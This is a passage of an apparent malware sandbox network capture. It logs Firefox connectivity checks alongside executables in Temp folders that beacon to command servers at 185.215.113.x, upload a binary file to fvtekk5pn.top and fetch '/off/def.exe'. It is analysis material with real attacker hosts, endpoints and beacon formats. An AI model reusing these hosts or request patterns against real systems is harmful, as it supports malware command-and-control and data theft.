Nov 20, 2024 08:10:37.688131094 CET	1236	IN	Data Raw: b9 7f 9f 12 85 1d c6 60 1b 8e 13 3a fc ae c7 34 a5 2a d5 1c f6 6e e6 04 25 9f 09 0c 5a ed 4a 64 5b 66 27 d3 1e 6f b1 3a 35 4e c6 fa 34 88 df 36 29 a1 2b b4 3d 97 cc 0e 14 8f 57 4e 23 62 ac a0 02 20 cd b4 22 42 cc 02 44 57 c3 9d a8 47 97 bc 50 64 Data Ascii: `:4*n%ZJd[f'o:5N46)+=WN#b "BDWGPd:1<Rk,xtJX?L6=dxpB8;K.kBs]/l6\jqLA2<QcYE<Fk<)/K[QfQiwq(vW\|vS3N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50160	34.107.221.82	80	8736	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:38.674660921 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:10:39.119580030 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 17:35:22 GMT Age: 48917 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50162	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:38.982449055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:10:39.693520069 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50171	34.107.221.82	80	8736	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:39.955571890 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:10:40.400641918 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 82055 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:10:40.615843058 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 82055 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50176	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:41.307591915 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:10:41.986884117 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50179	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:43.623791933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:10:44.337490082 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50180	34.116.198.130	80	8108	C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:44.447910070 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 35735 Content-Type: multipart/form-data; boundary=------------------------ZozPvyvtw7GhyzEAsXLLL3 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 5a 6f 7a 50 76 79 76 74 77 37 47 68 79 7a 45 41 73 58 4c 4c 4c 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 65 73 69 79 6f 7a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 87 50 2d 18 97 78 1e 6d a5 65 13 1e 5b ed 5e a5 15 ad 2d 5d 2b d6 7d 27 32 0f 7e e7 65 d3 1e ab 74 4d 79 0b 7c 01 9d c3 d3 3f 6a 4b 89 df a9 64 92 f8 00 fc ce 38 da 48 ef fc b6 7f fa 32 98 50 fb e5 a6 6e 5b aa 35 5a af 58 cd f7 37 30 a7 72 05 19 34 a7 f8 ef 47 15 dd 79 40 a4 7a ca e2 73 56 4c 8f 56 56 a8 3b 6f e0 6b 10 5b 59 7e 6b 72 4e a7 50 0a fb 09 00 32 58 6e 45 ea 8c bd 45 22 14 cd 45 7c 77 82 32 75 b0 f5 a2 eb fd 25 86 9a 8b 5f 90 36 7c 9d 7e e8 36 5a c5 97 94 63 dc 67 e5 36 68 93 30 22 8d 8f 9a cf 95 ba a2 34 de fa 0b [TRUNCATED] Data Ascii: --------------------------ZozPvyvtw7GhyzEAsXLLL3Content-Disposition: form-data; name="file"; filename="Wesiyoz.bin"Content-Type: application/octet-streamP-xme[^-]+}'2~etMy\|?jKd8H2Pn[5ZX70r4Gy@zsVLVV;ok[Y~krNP2XnEE"E\|w2u%_6\|~6Zcg6h0"4W>4K=0^#0NZX\|=g1BEPjuzZ}-LfsR\|?y,VVe;Cl8nf~q:V]#$`17kU>gap>nV/6DS8?/:R['}\|W_!$GL}S@A5Q<FYUv<@OIIJlAO2<;BZKt@Vr}WL&<Dn>K??.Z^H]5@.i'g 2MZLEGztbm7av=\{SKg~00_"Lu[l$HM%%!^DLi/L~hm-(e,?3L2&=\e`/IiY]/i0NE]5Yn{JT3[R4eIU:!)xGeR;2\fWk#@>{Ap]h)=xPCa&m"(bYal" [TRUNCATED]
Nov 20, 2024 08:10:44.452966928 CET	2472	OUT	Data Raw: f9 0e 45 b0 3c 74 08 6f 4c 8b fd ea d1 78 79 2a 8b 9c ee ca c9 18 fc 11 c9 c7 a8 03 d8 e2 f3 cb 97 35 a7 b2 90 34 17 68 17 d4 c5 f0 7e 9e 54 b0 d5 aa 1a c6 c0 00 05 8e 7e ec f0 21 b8 d8 79 bd 3f 2d 47 fd 10 43 e9 a6 b8 a3 58 38 12 63 3b 1a 0b 33 Data Ascii: E<toLxy*54h~T~!y?-GCX8c;3xk+P!1]"@i``\]4xA_&:d8/>Cv@Yjs!I\:;jm=_k('[_p
Nov 20, 2024 08:10:44.452996016 CET	2472	OUT	Data Raw: 02 f0 74 69 19 9f c4 f8 a7 87 7c c7 00 2f 45 57 29 ee 9b 5f 9c 7e 06 40 d2 66 bf 15 24 36 62 60 54 71 5c 98 66 f6 29 a7 a5 5a f7 e2 ab f1 fb 71 a4 6c ee 4c bf 17 0e e6 6d 63 aa a3 61 87 68 ab a6 08 38 a2 39 29 d5 34 cc 8e cc 46 88 c9 e6 ea 98 d3 Data Ascii: ti\|/EW)_~@f$6b`Tq\f)ZqlLmcah89)4FvT5[["C+8!" g\%A,3)U#M/c24cobE~r9wHa]JpVh\|l@H+uJVrn#\|
Nov 20, 2024 08:10:44.453039885 CET	2472	OUT	Data Raw: 10 3d 35 c5 fa 21 dc aa 40 fd 06 03 ad 30 17 e1 51 94 a7 5a 3f c1 14 7a b4 4f 0b 8e 25 aa 77 8c 80 04 12 cc c2 a3 68 6b 0d 7c 8f 6d e0 36 e4 d7 ad 12 00 d0 10 7a 3c ca 48 28 d4 1c 76 78 c3 5b 57 2c 59 26 f0 1e 3b 95 c1 76 41 06 3a fc 3e 84 53 c3 Data Ascii: =5!@0QZ?zO%whk\|m6z<H(vx[W,Y&;vA:>SE@MWWFU@GY_ck{%0Y{c`1FN1LOgYeDUs/n:C,gJ:$ _vKFt}9IR
Nov 20, 2024 08:10:44.453053951 CET	2472	OUT	Data Raw: 74 6e 3d 3e ac 89 5e 14 65 69 a3 3a c9 70 6b 34 8c db f4 0a ce c1 9c fa 15 91 40 23 c5 3f 96 df 2d 2c ca 5e 54 58 19 a9 81 bf d1 f3 83 b5 fd 10 64 e5 53 b2 17 e3 11 93 68 d0 d3 33 27 a6 d5 e2 96 9f 6d cc 2b 8d ff 62 fb 7a 6b 27 dc 4a 73 db d8 ba Data Ascii: tn=>^ei:pk4@#?-,^TXdSh3'm+bzk'Jsod9;~MZG>vnpb}3-ey=;eNaq;]6"Yw{A5E:qj47VC6Sih'#OytW9BN[E<
Nov 20, 2024 08:10:44.453083992 CET	4944	OUT	Data Raw: 64 6b 42 25 fa bc b2 a5 60 16 af 34 51 6f 1f 05 6e b6 62 bc c6 3b 22 68 20 5f 6c 6e 41 96 65 90 70 8f 04 80 5f 83 58 a6 81 94 10 07 bc 45 ed c8 d7 03 22 ec f3 65 87 63 9d fe a7 ff f0 18 4b 58 13 cc 3f b9 ab ac 7e 17 65 47 b1 fa 9f 78 b9 3c 5c 86 Data Ascii: dkB%`4Qonb;"h _lnAep_XE"ecKX?~eGx<\um"LS#b0,>D\|4}R<[gL eKVj!Tfj`ir`bf`KWcZa2!Mi-{\|:;*G;t
Nov 20, 2024 08:10:44.453147888 CET	4944	OUT	Data Raw: 57 b9 2e 60 4a 6e 2e 32 56 c5 ed ca fd c5 2b 25 4c 18 87 ff 5a f9 95 6f 4e 6c 82 65 8a 7a f3 bb d9 da 15 ec c2 4f a3 5d 1f 52 ec ee 73 c9 aa 28 c0 e8 32 c9 51 e5 5b a0 86 d2 8b a8 96 f7 b9 c0 9b 29 fd 38 8c d1 db 1c 40 18 d9 04 5c 71 1c b0 4c d2 Data Ascii: W.`Jn.2V+%LZoNlezO]Rs(2Q[)8@\qLFIEx'{=^1:TwS ,{%l7*:g6YySf9mY2:L\(1a.bC6\|sSa(:69sB8(c^w.]!x
Nov 20, 2024 08:10:44.453254938 CET	3780	OUT	Data Raw: b3 96 66 cd e0 f5 77 be a4 85 75 87 f9 69 13 b8 91 c1 c9 08 0c 8e 7d d4 61 49 ca 8c 20 fc 9c fb 64 62 4b 75 f9 75 f3 49 e6 59 f3 a7 e9 c8 b3 3b 35 c4 37 19 9a 0e ce 3e 85 7f 9f c0 fd 9d 24 01 fa 8e 6f 6d b3 a5 ea ca 00 43 50 70 7b 6b 3b 6f 3e 40 Data Ascii: fwui}aI dbKuuIY;57>$omCPp{k;o>@VQGw0k9"ye"7K(wQbwm9yXSxT?Z%@rz@OC(5[>@fDkM~ff&Q
Nov 20, 2024 08:10:45.317400932 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Wed, 20 Nov 2024 07:10:45 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50182	185.215.113.206	80	2584	C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:45.475389004 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 08:10:46.164753914 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:10:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 08:10:46.180788040 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 45 33 30 37 36 31 39 45 44 41 33 35 31 37 33 33 34 39 31 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 2d 2d 0d 0a Data Ascii: ------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="hwid"DAE307619EDA3517334914------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="build"mars------IDGIJEGHDAECAKECAFCA--
Nov 20, 2024 08:10:46.404190063 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:10:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50184	34.107.221.82	80	8736	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:45.707128048 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:10:46.162966967 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74303 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:10:47.102611065 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:10:47.199158907 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74304 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:10:57.252645969 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50187	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:45.864763021 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:10:46.578711033 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50189	34.107.221.82	80	8736	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:46.993580103 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:10:47.457786083 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 82062 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:10:57.587886095 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50190	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:48.217883110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:10:48.900655985 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50192	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:50.409497023 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:10:51.105811119 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50193	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:53.035010099 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:10:53.766407013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50194	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:55.406402111 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:10:56.109123945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50196	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:57.759356022 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:10:58.449867010 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50198	185.215.113.16	80	8688	C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:59.954155922 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
